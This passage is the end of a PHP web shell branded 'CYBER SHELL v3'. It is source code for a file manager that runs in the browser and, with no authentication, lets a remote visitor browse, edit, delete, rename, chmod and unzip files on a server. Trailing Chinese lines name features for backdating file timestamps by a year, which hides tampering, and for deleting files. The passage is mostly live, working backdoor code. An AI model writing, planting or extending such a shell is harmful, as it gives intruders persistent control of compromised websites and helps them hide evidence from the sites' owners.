ENT_QUOTES).'\', \''.$octal.'\');return false;" class="act-chmod">[chmod]</a> '; echo '<form method="post" style="display:inline"> <input type="hidden" name="item" value="'.htmlspecialchars($f).'"> <input type="hidden" name="delete" value="1"> <button type="submit">✕</button> </form>'; echo '</td></tr>'; } } // SECTION: FILES if (!empty($filz)) { echo '<tr class="section-label section-label-file"><td colspan="5">📄 FILES — ' . count($filz) . '</td></tr>'; foreach($filz as $f) { $p = $current_dir . '/' . $f; $w = is_writable($p); $r = is_readable($p); $ext = strtolower(pathinfo($f, PATHINFO_EXTENSION)); $is_zip = ($ext === 'zip'); $perms_str = get_perms_color($p); $octal = octal_perms($p); echo '<tr>'; echo '<td class="name-cell">'; if ($is_zip) { echo '<span class="icon-zip">📦</span>'; } else { echo '<span class="icon-file">📄</span>'; } if ($r) { echo '<a href="?d='.urlencode($current_dir).'&edit='.urlencode($f).'" class="name-link">'.htmlspecialchars($f).'</a>'; } else { echo '<span style="color:#666">'.htmlspecialchars($f).'</span>'; } echo '</td>'; echo '<td class="size-cell">'.number_format(filesize($p)).' B</td>'; echo '<td class="perms-cell">'.$perms_str.'</td>'; echo '<td class="octal-cell">'.$octal.'</td>'; echo '<td class="actions-cell">'; if ($r && !$is_zip) { echo '<a href="?d='.urlencode($current_dir).'&edit='.urlencode($f).'" class="act-edit">[edit]</a> '; } elseif ($r && $is_zip) { echo '<span style="color:#444;font-size:10px">-zip- </span>'; } else { echo '<span style="color:#444;font-size:10px">-no edit- </span>'; } echo '<a href="#" onclick="showRename(\''.htmlspecialchars($f, ENT_QUOTES).'\');return false;" class="act-rename">[mv]</a> '; echo '<a href="#" onclick="showChmod(\''.htmlspecialchars($f, ENT_QUOTES).'\', \''.$octal.'\');return false;" class="act-chmod">[chmod]</a> '; if ($is_zip) { echo '<form method="post" style="display:inline"> <input type="hidden" name="extract_zip" value="'.htmlspecialchars($f).'"> <button type="submit" style="padding:2px 6px;font-size:10px;border:1px solid #ff8800;color:#ff8800;background:none;border-radius:2px;cursor:pointer;font-family:\'JetBrains Mono\',monospace;transition:all 0.2s" onmouseover="this.style.background=\'#ff8800\';this.style.color=\'#020208\'" onmouseout="this.style.background=\'none\';this.style.color=\'#ff8800\'">[unzip]</button> </form> '; } echo '<form method="post" style="display:inline"> <input type="hidden" name="item" value="'.htmlspecialchars($f).'"> <input type="hidden" name="delete" value="1"> <button type="submit">✕</button> </form>'; echo '</td></tr>'; } } } ?> </table> </div> <?php if (isset($_GET['edit'])) { $e_f = $current_dir . '/' . $_GET['edit']; if (@file_exists($e_f) && is_readable($e_f) && !is_dir($e_f)) { $cont = @file_get_contents($e_f); $perms_info = get_perms($e_f); $octal_info = octal_perms($e_f); echo '<div class="editor-wrap">'; echo '<div class="editor-header">'; echo '<span>✎ EDITING: '.htmlspecialchars($_GET['edit']).' <span style="color:#555;font-size:10px;font-weight:400">['.$perms_info.'] ('.$octal_info.')</span></span>'; echo '<span style="font-size:10px;color:#555">'.number_format(filesize($e_f)).' B</span>'; echo '</div>'; echo '<form method="post"> <input type="hidden" name="filename" value="'.htmlspecialchars($_GET['edit']).'"> <textarea name="filecontent" rows="20">'.htmlspecialchars($cont).'</textarea> <div class="btn-row"> <input type="hidden" name="savefile" value="1"> <button type="submit" class="btn btn-pink btn-sm">⟳ SAVE CHANGES</button> </div> </form>'; echo '</div>'; } elseif (@file_exists($e_f) && !is_readable($e_f)) { echo '<div style="padding:15px;background:#0d0d1a;border:1px solid #ff3355;border-radius:4px;margin-top:15px;color:#ff3355;font-size:12px">⛔ ERROR: File exists but is NOT readable (permission: '.get_perms($e_f).')</div>'; } } ?> <!-- FOOTER --> <div class="glitch-line" style="margin-top:30px"> <span class="line"></span> <span class="tag">⌁ CYBER SHELL v3 // SYNERGY</span> <span class="line"></span> </div> </div> <!-- RENAME MODAL --> <div class="modal-overlay" id="renameModal"> <div class="modal-box"> <h3>⤻ Rename File / Directory</h3> <form method="post" id="renameForm"> <label>Current Name</label> <input type="text" name="oldname" id="renameOld" class="cyber-input" readonly style="color:#888;margin-bottom:12px"> <label>New Name</label> <input type="text" name="newname" id="renameNew" class="cyber-input" placeholder="Enter new name..." autofocus> <div class="btn-row"> <button type="button" onclick="hideModal('renameModal')" class="btn btn-sm" style="border-color:#555;color:#555">CANCEL</button> <input type="hidden" name="rename" value="1"> <button type="submit" class="btn btn-sm btn-pink">⤻ RENAME</button> </div> </form> </div> </div> <!-- CHMOD MODAL --> <div class="modal-overlay" id="chmodModal"> <div class="modal-box"> <h3>⦿ Change Permissions</h3> <form method="post" id="chmodForm"> <label>File / Directory</label> <input type="text" name="chmod_file" id="chmodFile" class="cyber-input" readonly style="color:#888;margin-bottom:10px"> <label style="margin-top:10px">Permission Bits — click to toggle</label> <div class="chmod-grid" id="chmodGrid"> <!-- Owner --> <div class="chmod-bit" data-bit="owner-read" data-pos="1" onclick="toggleChmodBit(this)"> <span class="bit-label">R</span> <span class="bit-value">r</span> </div> <div class="chmod-bit" data-bit="owner-write" data-pos="2" onclick="toggleChmodBit(this)"> <span class="bit-label">W</span> <span class="bit-value">w</span> </div> <div class="chmod-bit" data-bit="owner-exec" data-pos="3" onclick="toggleChmodBit(this)"> <span class="bit-label">X</span> <span class="bit-value">x</span> </div> <!-- Group --> <div class="chmod-bit" data-bit="group-read" data-pos="4" onclick="toggleChmodBit(this)"> <span class="bit-label">R</span> <span class="bit-value">r</span> </div> <div class="chmod-bit" data-bit="group-write" data-pos="5" onclick="toggleChmodBit(this)"> <span class="bit-label">W</span> <span class="bit-value">w</span> </div> <div class="chmod-bit" data-bit="group-exec" data-pos="6" onclick="toggleChmodBit(this)"> <span class="bit-label">X</span> <span class="bit-value">x</span> </div> <!-- Other --> <div class="chmod-bit" data-bit="other-read" data-pos="7" onclick="toggleChmodBit(this)"> <span class="bit-label">R</span> <span class="bit-value">r</span> </div> <div class="chmod-bit" data-bit="other-write" data-pos="8" onclick="toggleChmodBit(this)"> <span class="bit-label">W</span> <span class="bit-value">w</span> </div> <div class="chmod-bit" data-bit="other-exec" data-pos="9" onclick="toggleChmodBit(this)"> <span class="bit-label">X</span> <span class="bit-value">x</span> </div> </div> <div class="chmod-preview"> <span class="preview-perms" id="chmodPreviewStr">---------</span> <span class="preview-octal" id="chmodPreviewOctal">0000</span> </div> <div style="display:flex;gap:10px;align-items:center;margin-top:8px"> <label style="margin-bottom:0;white-space:nowrap">Or enter octal:</label> <input type="text" name="chmod_mode" id="chmodModeInput" class="cyber-input-sm" style="flex:1;text-align:center;font-size:18px;font-weight:700;letter-spacing:3px;padding:8px" placeholder="0644" maxlength="4"> </div> <div class="btn-row"> <button type="button" onclick="hideModal('chmodModal')" class="btn btn-sm" style="border-color:#555;color:#555">CANCEL</button> <input type="hidden" name="chmod" value="1"> <button type="submit" class="btn btn-sm btn-cyan">⦿ APPLY</button> </div> </form> </div> </div> <!-- CREATE FILE FORM (hidden, auto-submit) --> <form method="post" id="createFileForm" style="display:none"> <input type="hidden" name="newfilename" id="createFileNameInput"> <input type="hidden" name="createfile" value="1"> </form> <script> // ---- RENAME ---- function showRename(name) { document.getElementById('renameOld').value = name; document.getElementById('renameNew').value = name; document.getElementById('renameModal').classList.add('active'); setTimeout(function() { document.getElementById('renameNew').focus(); document.getElementById('renameNew').select(); }, 100); } function hideModal(id) { document.getElementById(id).classList.remove('active'); } // ---- CREATE FILE ---- function createNewFile() { var fname = document.getElementById('newFileName').value.trim(); if (fname === '') { alert('Please enter a file name.'); return; } if (fname.indexOf('/') !== -1 || fname.indexOf('\\') !== -1) { alert('Invalid file name: no path separators allowed.'); return; } document.getElementById('createFileNameInput').value = fname; document.getElementById('createFileForm').submit(); } // ---- CHMOD BIT TOGGLER ---- var chmodBits = [0,0,0, 0,0,0, 0,0,0]; function getOctalFromBits() { var o = 0; o += chmodBits[0] ? 4 : 0; o += chmodBits[1] ? 2 : 0; o += chmodBits[2] ? 1 : 0; var g = 0; g += chmodBits[3] ? 4 : 0; g += chmodBits[4] ? 2 : 0; g += chmodBits[5] ? 1 : 0; var t = 0; t += chmodBits[6] ? 4 : 0; t += chmodBits[7] ? 2 : 0; t += chmodBits[8] ? 1 : 0; return '' + o + g + t; } function getSymFromBits() { var chars = ['r','w','x','r','w','x','r','w','x']; var s = ''; for (var i = 0; i < 9; i++) { s += chmodBits[i] ? chars[i] : '-'; } return s; } function updateChmodPreview() { var sym = getSymFromBits(); var oct = getOctalFromBits(); document.getElementById('chmodPreviewStr').textContent = sym; document.getElementById('chmodPreviewOctal').textContent = '0' + oct; document.getElementById('chmodModeInput').value = '0' + oct; var allBits = document.querySelectorAll('#chmodGrid .chmod-bit'); allBits.forEach(function(el, idx) { if (chmodBits[idx]) { if (idx === 2 || idx === 5 || idx === 8) { el.className = 'chmod-bit special on'; } else { el.className = 'chmod-bit on'; } el.querySelector('.bit-value').textContent = ['r','w','x','r','w','x','r','w','x'][idx]; } else { el.className = 'chmod-bit off'; el.querySelector('.bit-value').textContent = ['r','w','x','r','w','x','r','w','x'][idx]; } }); } function toggleChmodBit(el) { var idx = Array.prototype.indexOf.call(document.querySelectorAll('#chmodGrid .chmod-bit'), el); if (idx === -1) return; chmodBits[idx] = chmodBits[idx] ? 0 : 1; updateChmodPreview(); } function showChmod(filename, octal) { document.getElementById('chmodFile').value = filename; var oct = octal.toString().replace(/^0*/,''); if (oct.length < 3) oct = '0'.repeat(3-oct.length) + oct; var bits = []; var o = parseInt(oct[0],10); bits.push((o & 4) ? 1 : 0); bits.push((o & 2) ? 1 : 0); bits.push((o & 1) ? 1 : 0); var g = parseInt(oct[1],10); bits.push((g & 4) ? 1 : 0); bits.push((g & 2) ? 1 : 0); bits.push((g & 1) ? 1 : 0); var t = parseInt(oct[2],10); bits.push((t & 4) ? 1 : 0); bits.push((t & 2) ? 1 : 0); bits.push((t & 1) ? 1 : 0); chmodBits = bits; updateChmodPreview(); document.getElementById('chmodModal').classList.add('active'); } document.getElementById('chmodModeInput').addEventListener('input', function() { var val = this.value.replace(/^0*/,''); if (val.length < 3) val = '0'.repeat(3-val.length) + val; if (val.length > 3) val = val.slice(-3); if (!/^[0-7]{3}$/.test(val)) return; var bits = []; var o = parseInt(val[0],10); bits.push((o & 4) ? 1 : 0); bits.push((o & 2) ? 1 : 0); bits.push((o & 1) ? 1 : 0); var g = parseInt(val[1],10); bits.push((g & 4) ? 1 : 0); bits.push((g & 2) ? 1 : 0); bits.push((g & 1) ? 1 : 0); var t = parseInt(val[2],10); bits.push((t & 4) ? 1 : 0); bits.push((t & 2) ? 1 : 0); bits.push((t & 1) ? 1 : 0); chmodBits = bits; updateChmodPreview(); }); document.getElementById('renameModal').addEventListener('click', function(e) { if (e.target === this) hideModal('renameModal'); }); document.getElementById('chmodModal').addEventListener('click', function(e) { if (e.target === this) hideModal('chmodModal'); }); document.getElementById('renameNew').addEventListener('keydown', function(e) { if (e.key === 'Enter') { e.preventDefault(); document.getElementById('renameForm').submit(); } }); </script> </body> </html> <?php // End of file - no trailing whitespace
修改文件时间
将文件时间修改为当前时间的前一年
删除文件